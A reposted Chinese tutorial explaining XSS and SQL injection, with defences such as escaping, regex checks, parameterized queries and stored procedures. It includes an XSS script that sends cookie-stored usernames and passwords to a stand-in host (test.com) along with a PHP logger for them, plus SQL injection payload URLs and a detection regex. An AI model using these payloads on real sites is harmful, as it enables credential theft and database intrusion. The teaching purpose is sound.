XSS 攻击: https://www.cnblogs.com/dolphinX/p/3391351.html
跨站脚本攻击 (Cross Site Script 为了区别于 CSS 简称为 XSS) 指的是恶意攻击者往 web 页面里插入恶意 HTML 代码, 当用户浏览该页之时, 嵌入其中 Web 里面的 HTML 代码会被执行, 从而达到恶意用户的特殊目的.
一个简单的留言板
我们有个页面用于允许用户发表留言, 然后在页面底部显示留言列表
- <!DOCTYPE HTML>
- <HTML>
- <head>
- <?PHP include( '/components/headerinclude.php');?>
- </head>
- <style type="text/css">
- .comment-title{ font-size:14px; margin: 6px 0px 2px 4px; } .comment-body{
- font-size: 14px; color:#ccc; font-style: italic; border-bottom: dashed
- 1px #ccc; margin: 4px; }
- </style>
- <script type="text/javascript" src="/js/cookies.js">
- </script>
- <body>
- <form method="post" action="list.php">
- <div style="margin:20px;">
- <div style="font-size:16px;font-weight:bold;">
- Your Comment
- </div>
- <div style="padding:6px;">
- Nick Name:
- <br/>
- <input name="name" type="text" style="width:300px;" />
- </div>
- <div style="padding:6px;">
- Comment:
- <br/>
- <textarea name="comment" style="height:100px; width:300px;">
- </textarea>
- </div>
- <div style="padding-left:230px;">
- <input type="submit" value="POST" style="padding:4px 0px; width:80px;"
- />
- </div>
- <div style="border-bottom:solid 1px #fff;margin-top:10px;">
- <div style="font-size:16px;font-weight:bold;">
- Comments
- </div>
- </div>
- <?PHP require( '/components/comments.php'); if(!empty($_POST[ 'name'])){
- addElement($_POST[ 'name'],$_POST[ 'comment']); } renderComments(); ?>
- </div>
- </form>
- </body>
- </HTML>
addElement()方法用于添加新的留言, 而 renderComments()方法用于展留言列表, 网页看起来是这样的
XSS
因为我们完全信任了用户输入, 但有些别有用心的用户会像这样的输入
这样无论是谁访问这个页面的时候控制台都会输出 "Hey you are a fool fish!", 如果这只是个恶意的小玩笑, 有些人做的事情就不可爱了, 有些用户会利用这个漏洞窃取用户信息, 诱骗人打开恶意网站或者下载恶意程序等, 看个最简单的例子
利用 xss 窃取用户名密码
当然这个示例很简单, 几乎攻击不到任何网站, 仅仅看看其原理. 我们知道很多登陆界面都有记住用户名, 密码的功能方便用户下次登录, 有些网站是直接用明文记录用户名, 密码, 恶意用户注册账户登录后使用简单工具查看 cookie 结构名称后, 如果网站有 xss 漏洞, 那么简单的利用 JSONP 就可以获取其它用户的用户名, 密码了.
恶意用户会这么输入
我们看看 http://test.com/hack.js 里藏了什么
- var username=CookieHelper.getCookie('username').value;
- var password=CookieHelper.getCookie('password').value;
- var script =document.createElement('script');
- script.src='http://test.com/index.php?username='+username+'&password='+password;
- document.body.appendChild(script);
几句简单的 JavaScript, 获取 cookie 中的用户名密码, 利用 JSONP 把向 http://test.com/index.php
发送了一个 get 请求
http://test.com/index.php
- <?PHP
- if(!empty($_GET['password'])){
- $username=$_GET['username'];
- $password=$_GET['password'];
- try{
- $path=$_SERVER["DOCUMENT_ROOT"].'/password.txt';
- $fp=fopen($path,'a');
- flock($fp, LOCK_EX);
- fwrite($fp, "$username\t $password\r\n");
- flock($fp, LOCK_UN);
- fclose($fp);
- }catch(Exception $e){
- }
- }
- ?>
这样恶意用户就把访问留言板的用户的信息窃取了
怎么预防
上面演示的是一个非常简单的 XSS 攻击, 还有很多隐蔽的方式, 但是其核心都是利用了脚本注入, 因此我们解决办法其实很简单, 不信赖用户输入, 对特殊字符如 "<",">" 转义, 就可以从根本上防止这一问题, 当然很多解决方案都对 XSS 做了特定限制, 如上面这中做法在 ASP.NET 中不幸不同, 微软 validateRequest 对表单提交自动做了 XSS 验证. 但防不胜防, 总有些聪明的恶意用户会到我们的网站搞破坏, 对自己站点不放心可以看看这个 XSS 跨站测试代码大全试试站点是否安全.
Sql 注入: https://www.cnblogs.com/rush/archive/2011/12/31/2309203.html
1.1.1 摘要
日前, 国内最大的程序员社区 CSDN 网站的用户数据库被黑客公开发布, 600 万用户的登录名及密码被公开泄露, 随后又有多家网站的用户密码被流传于网络, 连日来引发众多网民对自己账号, 密码等互联网信息被盗取的普遍担忧.
网络安全成为了现在互联网的焦点, 这也恰恰触动了每一位用户的神经, 由于设计的漏洞导致了不可收拾的恶果, 验证了一句话 "出来混的, 迟早是要还的", 所以我想通过专题博文介绍一些常用的攻击技术和防范策略.
SQL Injection 也许很多人都知道或者使用过, 如果没有了解或完全没有听过也没有关系, 因为接下来我们将介绍 SQL Injection.
1.1.2 正文
SQL Injection: 就是通过把 SQL 命令插入到 Web 表单递交或输入域名或页面请求的查询字符串, 最终达到欺骗服务器执行恶意的 SQL 命令.
具体来说, 它是利用现有应用程序, 将 (恶意) 的 SQL 命令注入到后台数据库引擎执行的能力, 它可以通过在 Web 表单中输入(恶意)SQL 语句得到一个存在安全漏洞的网站上的数据库, 而不是按照设计者意图去执行 SQL 语句.
首先让我们了解什么时候可能发生 SQL Injection.
假设我们在浏览器中输入 URL http://www.sample.com/ , 由于它只是对页面的简单请求无需对数据库动进行动态请求, 所以它不存在 SQL Injection, 当我们输入 www.sample.com?testid=23 http://www.sample.com/?testid=23 时, 我们在 URL 中传递变量 testid, 并且提供值为 23, 由于它是对数据库进行动态查询的请求(其中? testid=23 表示数据库查询变量), 所以我们可以该 URL 中嵌入恶意 SQL 语句.
现在我们知道 SQL Injection 适用场合, 接下来我们将通过具体的例子来说明 SQL Injection 的应用, 这里我们以 pubs 数据库作为例子.
我们通过 Web 页面查询 job 表中的招聘信息, job 表的设计如下:
图 1 jobs 表
接着让我们实现 Web 程序, 它根据工作 Id(job_id)来查询相应的招聘信息, 示意代码如下:
- /// <summary>
- /// Handles the Load event of the Page control.
- /// </summary>
- /// <param name="sender">The source of the event.</param>
- /// <param name="e">The <see cref="System.EventArgs"/> instance containing the event data.</param>
- protected void Page_Load(object sender, EventArgs e)
- {
- if (!IsPostBack)
- {
- // Gets departmentId from http request.
- string queryString = Request.QueryString["departmentID"];
- if (!string.IsNullOrEmpty(queryString))
- {
- // Gets data from database.
- gdvData.DataSource = GetData(queryString.Trim());
- // Binds data to gridview.
- gdvData.DataBind();
- }
- }
- }
现在我们已经完成了 Web 程序, 接下来让我们查询相应招聘信息吧.
图 2 job 表查询结果
如图所示, 我们要查询数据库中工作 Id 值为 1 的工作信息, 而且在页面显示了该工作的 Id,Description,Min Lvl 和 Max Lvl 等信息.
现在要求我们实现根据工作 Id 查询相应工作信息的功能, 想必大家很快可以给出解决方案, SQL 示意代码如下:
- SELECT job_id, job_desc, min_lvl, max_lvl
- FROM jobs
- WHERE (job_id = 1)
假设现在要求我们获取 Department 表中的所有数据, 而且必须保留 WHERE 语句, 那我们只要确保 WHERE 恒真就 OK 了, SQL 示意代码如下:
- SELECT job_id, job_desc, min_lvl, max_lvl
- FROM jobs
- WHERE (job_id = 1) OR 1 = 1
上面我们使得 WHERE 恒真, 所以该查询中 WHERE 已经不起作用了, 其查询结果等同于以下 SQL 语句.
- SELECT job_id, job_desc, min_lvl, max_lvl
- FROM jobs
SQL 查询代码实现如下:
- string sql1 = string.Format(
- "SELECT job_id, job_desc, min_lvl, max_lvl FROM jobs WHERE job_id='{0}'", jobId);
现在我们要通过页面请求的方式, 让数据库执行我们的 SQL 语句, 我们要在 URL 中嵌入恶意表达式 1=1(或 2=2 等等), 如下 URL 所示:
http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or'1'='1
等效 SQL 语句如下:
- SELECT job_id, job_desc, min_lvl, max_lvl
- FROM jobs
- WHERE job_id = '1' OR '1' = 1'
图 3 job 表查询结果
现在我们把 job 表中的所有数据都查询出来了, 仅仅通过一个简单的恒真表达式就可以进行了一次简单的攻击.
虽然我们把 job 表的数据都查询出来了, 但数据并没有太大的价值, 由于我们把该表临时命名为 job 表, 所以接着我们要找出该表真正表名.
首先我们假设表名就是 job, 然后输入以下 URL:
http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or 1=(select count(*) from job)--
等效 SQL 语句如下:
- SELECT job_id, job_desc, min_lvl, max_lvl
- FROM jobs
- WHERE job_id='1'or 1=(select count(*) from job) --'
图 4 job 表查询结果
当我们输入了以上 URL 后, 结果服务器返回我们错误信息, 这证明了我们的假设是错误的, 那我们该感觉到挫败吗? 不, 其实这里返回了很多信息, 首先它证明了该表名不是 job, 而且它还告诉我们后台数据库是 SQL Server, 不是 MySQL 或 Oracle, 这也设计一个漏洞把错误信息直接返回给了用户.
接下假定表名是 jobs, 然后输入以下 URL:
http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or1=(select count(*) from jobs) --
等效 SQL 语句如下:
- SELECT job_id, job_desc, min_lvl, max_lvl
- FROM jobs
- WHERE job_id='1'or 1=(select count(*) from jobs) --'
图 5 job 表查询结果
现在证明了该表名是 jobs, 这可以迈向成功的一大步, 由于我们知道了表名就可以对该表进行增删改操作了, 而且我们还可以猜测出更多的表对它们作出修改, 一旦修改成功那么这将是一场灾难.
现在大家已经对 SQL Injection 的攻击有了初步的了解了, 接下让我们学习如何防止 SQL Injection.
总的来说有以下几点:
1. 永远不要信任用户的输入, 要对用户的输入进行校验, 可以通过正则表达式, 或限制长度, 对单引号和双 "-" 进行转换等.
2. 永远不要使用动态拼装 SQL, 可以使用参数化的 SQL 或者直接使用存储过程进行数据查询存取.
3. 永远不要使用管理员权限的数据库连接, 为每个应用使用单独的权限有限的数据库连接.
4.
然后继续校验输入数据中是否包含 SQL 语句的保留字, 如: WHERE,EXEC,DROP 等.
现在让我们编写正则表达式来校验用户的输入吧, 正则表达式定义如下:
- private static readonly Regex RegSystemThreats =
- new Regex(@"\s?or\s*|\s?;\s?|\s?drop\s|\s?grant\s|^'|\s?--|\s?union\s|\s?delete\s|\s?truncate\s|" +
- @"\s?sysobjects\s?|\s?xp_.*?|\s?syslogins\s?|\s?sysremote\s?|\s?sysusers\s?|\s?sysxlogins\s?|\s?sysdatabases\s?|\s?aspnet_.*?|\s?exec\s?",
- RegexOptions.Compiled | RegexOptions.IgnoreCase);
上面我们定义了一个正则表达式对象 RegSystemThreats, 并且给它传递了校验用户输入的正则表达式.
由于我们已经完成了对用户输入校验的正则表达式了, 接下来就是通过该正则表达式来校验用户输入是否合法了, 由于. NET 已经帮我们实现了判断字符串是否匹配正则表达式的方法 --IsMatch(), 所以我们这里只需给传递要匹配的字符串就 OK 了.
示意代码如下:
- /// <summary>
- /// A helper method to attempt to discover [known] SqlInjection attacks.
- /// </summary>
- /// <param name="whereClause">string of the whereClause to check</param>
- /// <returns>true if found, false if not found </returns>
- public static bool DetectSqlInjection(string whereClause)
- {
- return RegSystemThreats.IsMatch(whereClause);
- }
- /// <summary>
- /// A helper method to attempt to discover [known] SqlInjection attacks.
- /// </summary>
- /// <param name="whereClause">string of the whereClause to check</param>
- /// <param name="orderBy">string of the orderBy clause to check</param>
- /// <returns>true if found, false if not found </returns>
- public static bool DetectSqlInjection(string whereClause, string orderBy)
- {
- return RegSystemThreats.IsMatch(whereClause) || RegSystemThreats.IsMatch(orderBy);
- }
现在我们完成了校验用的正则表达式, 接下来让我们需要在页面中添加校验功能.
- /// <summary>
- /// Handles the Load event of the Page control.
- /// </summary>
- /// <param name="sender">The source of the event.</param>
- /// <param name="e">The <see cref="System.EventArgs"/> instance containing the event data.</param>
- protected void Page_Load(object sender, EventArgs e)
- {
- if (!IsPostBack)
- {
- // Gets departmentId from http request.
- string queryString = Request.QueryString["jobId"];
- if (!string.IsNullOrEmpty(queryString))
- {
- if (!DetectSqlInjection(queryString) && !DetectSqlInjection(queryString, queryString))
- {
- // Gets data from database.
- gdvData.DataSource = GetData(queryString.Trim());
- // Binds data to gridview.
- gdvData.DataBind();
- }
- else
- {
- throw new Exception("Please enter correct field");
- }
- }
- }
- }
当我们再次执行以下 URL 时, 被嵌入的恶意语句被校验出来了, 从而在一定程度上防止了 SQL Injection.
http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or'1'='1
图 6 添加校验查询结果
但使用正则表达式只能防范一些常见或已知 SQL Injection 方式, 而且每当发现有新的攻击方式时, 都要对正则表达式进行修改, 这可是吃力不讨好的工作.
通过参数化存储过程进行数据查询存取
首先我们定义一个存储过程根据 jobId 来查找 jobs 表中的数据.
- -- =============================================
- -- Author: JKhuang
- -- Create date: 12/31/2011
- -- Description: Get data from jobs table by specified jobId.
- -- =============================================
- ALTER PROCEDURE [dbo].[GetJobs]
- -- ensure that the id type is int
- @jobId INT
- AS
- BEGIN
- -- SET NOCOUNT ON;
- SELECT job_id, job_desc, min_lvl, max_lvl
- FROM dbo.jobs
- WHERE job_id = @jobId
- GRANT EXECUTE ON GetJobs TO pubs
- END
接着修改我们的 Web 程序使用参数化的存储过程进行数据查询.
- using (var com = new SqlCommand("GetJobs", con))
- {
- // Uses store procedure.
- com.CommandType = CommandType.StoredProcedure;
- // Pass jobId to store procedure.
- com.Parameters.Add("@jobId", SqlDbType.Int).Value = jobId;
- com.Connection.Open();
- gdvData.DataSource = com.ExecuteScalar();
- gdvData.DataBind();
- }
现在我们通过参数化存储过程进行数据库查询, 这里我们把之前添加的正则表达式校验注释掉.
图 7 存储过程查询结果
大家看到当我们试图在 URL 中嵌入恶意的 SQL 语句时, 参数化存储过程已经帮我们校验出传递给数据库的变量不是整形, 而且使用存储过程的好处是我们还可以很方便地控制用户权限, 我们可以给用户分配只读或可读写权限.
但我们想想真的有必要每个数据库操作都定义成存储过程吗? 而且那么多的存储过程也不利于日常的维护.
参数化 SQL 语句
还是回到之前动态拼接 SQL 基础上, 我们知道一旦有恶意 SQL 代码传递过来, 而且被拼接到 SQL 语句中就会被数据库执行, 那么我们是否可以在拼接之前进行判断呢?-- 命名 SQL 参数.
- string sql1 = string.Format("SELECT job_id, job_desc, min_lvl, max_lvl FROM jobs WHERE job_id = @jobId");
- using (var con = new SqlConnection(ConfigurationManager.ConnectionStrings["SQLCONN1"].ToString()))
- using (var com = new SqlCommand(sql1, con))
- {
- // Pass jobId to sql statement.
- com.Parameters.Add("@jobId", SqlDbType.Int).Value = jobId;
- com.Connection.Open();
- gdvData.DataSource = com.ExecuteReader();
- gdvData.DataBind();
- }
图 8 参数化 SQL 查询结果
这样我们就可以避免每个数据库操作 (尤其一些简单数据库操作) 都编写存储过程了, 而且当用户具有数据库中 jobs 表的读权限才可以执行该 SQL 语句.
添加新架构
数据库架构是一个独立于数据库用户的非重复命名空间, 您可以将架构视为对象的容器(类似于. NET 中的命名空间).
首先我们右击架构文件夹, 然后新建架构.
图 9 添加 HumanResource 架构
上面我们完成了在 pubs 数据库中添加 HumanResource 架构, 接着把 jobs 表放到 HumanResource 架构中.
图 10 修改 jobs 表所属的架构
当我们再次执行以下 SQL 语句时, SQL Server 提示 jobs 无效, 这是究竟什么原因呢? 之前还运行的好好的.
SELECT job_id, job_desc, min_lvl, max_lvl FROM jobs
图 11 查询输出
当我们输入完整的表名 "架构名. 对象名"(HumanResource.jobs)时, SQL 语句执行成功.
SELECT job_id, job_desc, min_lvl, max_lvl FROM HumanResource.jobs
为什么之前我们执行 SQL 语句时不用输入完整表名 dbo.jobs 也可以执行呢?
这是因为默认的架构 (default schema) 是 dbo, 当只输入表名时, Sql Server 会自动加上当前登录用户的默认的架构(default schema)--dbo.
由于我们使用自定义架构, 这也降低了数据库表名被猜测出来的可能性.
LINQ to SQL
前面使用了存储过程和参数化查询, 这两种方法都是非常常用的, 而针对于. NET Framework 的 ORM 框架也有很多, 如: NHibernate,Castle 和 Entity Framework, 这里我们使用比较简单 LINQ to SQL.
图 12 添加 jobs.dbml 文件
- var dc = new pubsDataContext();
- int result;
- // Validates jobId is int or not.
- if (int.TryParse(jobId, out result))
- {
- gdvData.DataSource = dc.jobs.Where(p => p.job_id == result);
- gdvData.DataBind();
- }
相比存储过程和参数化查询, LINQ to SQL 我们只需添加 jobs.dbml, 然后使用 LINQ 对表进行查询就 OK 了.
1.1.3 总结
我们在本文中介绍了 SQL Injection 的基本原理, 通过介绍什么是 SQL Injection, 怎样进行 SQL Injection 和如何防范 SQL Injection. 通过一些程序源码对 SQL 的攻击进行了细致的分析, 使我们对 SQL Injection 机理有了一个深入的认识, 作为一名 Web 应用开发人员, 一定不要盲目相信用户的输入, 而要对用户输入的数据进行严格的校验处理, 否则的话, SQL Injection 将会不期而至.
最后, 祝大家新年快乐, 身体健康, Code with pleasure.
参考
http://en.wikipedia.org/wiki/SQL_injection
来源: http://www.bubuko.com/infodetail-3096827.html